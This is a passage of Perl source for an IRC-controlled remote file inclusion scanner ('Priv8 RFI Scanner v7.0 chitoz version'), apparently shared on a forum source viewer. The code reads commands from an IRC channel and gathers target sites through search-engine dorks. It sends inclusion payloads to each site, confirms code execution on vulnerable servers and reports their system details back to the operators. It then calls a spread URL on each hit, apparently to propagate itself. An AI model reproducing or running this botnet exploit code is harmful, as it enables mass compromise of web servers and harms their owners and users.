"PRIVMSG $channel :9,1PHP Vers: 8,1 $php1"
);
display( $dsp,
"PRIVMSG $channel :9,1Software: 8,1 $sof1"
);
display( $dsp,
"PRIVMSG $channel :9,1phpbb Addr: 8,1 $phpbb1"
);
display( $dsp,
"PRIVMSG $channel :9,1Hostname: 8,1 $name1"
);
display( $dsp,
"PRIVMSG $admin :9,1Safemode: 8,1Off 9,1Os: $os Link: $print"
);
display( $dsp,
"PRIVMSG $chanres :9,1Safemode: 8,1Off 9,1Os: $os Link: $print"
);
my $test2 =
"http://" . $site . $bug . $spread . "?";
my $reqz = HTTP::Request->new( GET => $test2 );
my $ua = LWP::UserAgent->new();
my $response = $ua->request($reqz);
}
}
elsif ( $re =~ /chitoz/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp,
"PRIVMSG $channel :9,1Exploiting .."
);
display( $dsp,
"PRIVMSG $channel :9,1Safemode: 8,1Off 9,1Os: $os Link: $print"
);
display( $dsp,
"PRIVMSG $channel :9,1Uname -a: 8,1$un"
);
display( $dsp,
"PRIVMSG $channel :9,1HDD: 8,1Free: ($free) Used: ($used) Total: ($all)"
);
display( $dsp,
"PRIVMSG $channel :9,1Uptime: 8,1 $up"
);
display( $dsp,
"PRIVMSG $channel :9,1PWD: 8,1$pwd1"
);
display( $dsp,
"PRIVMSG $channel :9,1PHP Vers: 8,1 $php1"
);
display( $dsp,
"PRIVMSG $channel :9,1Software: 8,1 $sof1"
);
display( $dsp,
"PRIVMSG $channel :9,1phpbb Addr: 8,1 $phpbb1"
);
display( $dsp,
"PRIVMSG $channel :9,1Hostname: 8,1 $name1"
);
display( $dsp,
"PRIVMSG $admin :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print"
);
display( $dsp,
"PRIVMSG $chanres :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print"
);
}
}
}
}
}
exit;
}
}

if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) {
if ( my $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
else {
my $bug = $1;
my $dork = $2;
my $contatore = 0;
my %hosts;
my @asklist = &ask($dork);
push( my @tot, @asklist );
my @puliti = &unici(@tot);
display( $dsp,
"PRIVMSG $channel :9,1ASK "
. scalar(@tot)
. " 9,1/9,1 "
. scalar(@puliti)
. " 9,1 pentru4,1 $dork" );
my $uni = scalar(@puliti);

foreach my $site (@puliti) {
$contatore++;
if ( $contatore % 100 == 0 ) {
}
if ( $contatore == $uni - 1 ) {
display( $dsp,
"PRIVMSG $channel :9,1ASK a terminat pentru4,1 $dork"
);
}
my $test = "http://" . $site . $bug . $id . "?";
my $print = "http://" . $site . $bug . $printcmd . "?";
my $req = HTTP::Request->new( GET => $test );
my $ua = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /chitoz/ && $re =~ /uid=/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp,
"PRIVMSG $channel :9,1Exploiting .."
);
display( $dsp,
"PRIVMSG $channel :9,1Safemode: 8,1Off 9,1Os: $os Link: $print"
);
display( $dsp,
"PRIVMSG $channel :9,1Uname -a: 8,1$un"
);
display( $dsp,
"PRIVMSG $channel :9,1HDD: 8,1Free: ($free) Used: ($used) Total: ($all)"
);
display( $dsp,
"PRIVMSG $channel :9,1Uptime: 8,1 $up"
);
display( $dsp,
"PRIVMSG $channel :9,1ID: $id1"
);
display( $dsp,
"PRIVMSG $channel :9,1PWD: 8,1$pwd1"
);
display( $dsp,
"PRIVMSG $channel :9,1PHP Vers: 8,1 $php1"
);
display( $dsp,
"PRIVMSG $channel :9,1Software: 8,1 $sof1"
);
display( $dsp,
"PRIVMSG $channel :9,1phpbb Addr: 8,1 $phpbb1"
);
display( $dsp,
"PRIVMSG $channel :9,1Hostname: 8,1 $name1"
);
display( $dsp,
"PRIVMSG $admin :9,1Safemode: 8,1Off 9,1Os: $os Link: $print"
);
display( $dsp,
"PRIVMSG $chanres :9,1Safemode: 8,1Off 9,1Os: $os Link: $print"
);
my $test2 =
"http://" . $site . $bug . $spread . "?";
my $reqz = HTTP::Request->new( GET => $test2 );
my $ua = LWP::UserAgent->new();
my $response = $ua->request($reqz);
}
}
elsif ( $re =~ /chitoz/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp,
"PRIVMSG $channel :9,1Exploiting .."
);
display( $dsp,
"PRIVMSG $channel :9,1Safemode: 8,1Off 9,1Os: $os Link: $print"
);
display( $dsp,
"PRIVMSG $channel :9,1Uname -a: 8,1$un"
);
display( $dsp,
"PRIVMSG $channel :9,1HDD: 8,1Free: ($free) Used: ($used) Total: ($all)"
);
display( $dsp,
"PRIVMSG $channel :9,1Uptime: 8,1 $up"
);
display( $dsp,
"PRIVMSG $channel :9,1PWD: 8,1$pwd1"
);
display( $dsp,
"PRIVMSG $channel :9,1PHP Vers: 8,1 $php1"
);
display( $dsp,
"PRIVMSG $channel :9,1Software: 8,1 $sof1"
);
display( $dsp,
"PRIVMSG $channel :9,1phpbb Addr: 8,1 $phpbb1"
);
display( $dsp,
"PRIVMSG $channel :9,1Hostname: 8,1 $name1"
);
display( $dsp,
"PRIVMSG $admin :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print"
);
display( $dsp,
"PRIVMSG $chanres :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print"
);
}
}
}
}
}
exit;
}
}

if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) {
if ( my $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
else {
my $bug = $1;
my $dork = $2;
my $contatore = 0;
my %hosts;
my @fireball = fireball($dork);
push( my @tot, @fireball );
my @puliti = &unici(@tot);
display( $dsp,
"PRIVMSG $channel :9,1FIREBALL "
. scalar(@tot)
. " 9,1/9,1 "
. scalar(@puliti)
. "  19,1 pentru4,1 $dork" );
my $uni = scalar(@puliti);

foreach my $site (@puliti) {
$contatore++;
if ( $contatore % 100 == 0 ) {
}
if ( $contatore == $uni - 1 ) {
display( $dsp,
"PRIVMSG $channel :9,1FIREBALL a terminat pentru4,1 $dork"
);
}
my $test = "http://" . $site . $bug . $id . "?";
my $print = "http://" . $site . $bug . $printcmd . "?";
my $req = HTTP::Request->new( GET => $test );
my $ua = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /chitoz/ && $re =~ /uid=/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp,
"PRIVMSG $channel :9,1Exploiting .."
);
display( $dsp,
"PRIVMSG $channel :9,1Safemode: 8,1Off 9,1Os: $os Link: $print"
);
display( $dsp,
"PRIVMSG $channel :9,1Uname -a: 8,1$un"
);
display( $dsp,
"PRIVMSG $channel :9,1HDD: 8,1Free: ($free) Used: ($used) Total: ($all)"
);
display( $dsp,
"PRIVMSG $channel :9,1Uptime: 8,1 $up"
);
display( $dsp,
"PRIVMSG $channel :9,1ID: $id1"
);
display( $dsp,
"PRIVMSG $channel :9,1PWD: 8,1$pwd1"
);
display( $dsp,
"PRIVMSG $channel :9,1PHP Vers: 8,1 $php1"
);
display( $dsp,
"PRIVMSG $channel :9,1Software: 8,1 $sof1"
);
display( $dsp,
"PRIVMSG $channel :9,1phpbb Addr: 8,1 $phpbb1"
);
display( $dsp,
"PRIVMSG $channel :9,1Hostname: 8,1 $name1"
);
display( $dsp,
"PRIVMSG $admin :9,1Safemode: 8,1Off 9,1Os: $os Link: $print"
);
display( $dsp,
"PRIVMSG $chanres :9,1Safemode: 8,1Off 9,1Os: $os Link: $print"
);
my $test2 =
"http://" . $site . $bug . $spread . "?";
my $reqz = HTTP::Request->new( GET => $test2 );
my $ua = LWP::UserAgent->new();
my $response = $ua->request($reqz);
}
}
elsif ( $re =~ /chitoz/ ) {
my $hs = geths($print);
$hosts{$hs}++;
Priv8 RFI Scanner v7.0 chitoz version

Source viewer

Source viewer By ArmonyPHP Powered by phpBB © phpBB Group Design by phpBBStyles.com | Styles Database. Style by TD Creative for DooBDee.net.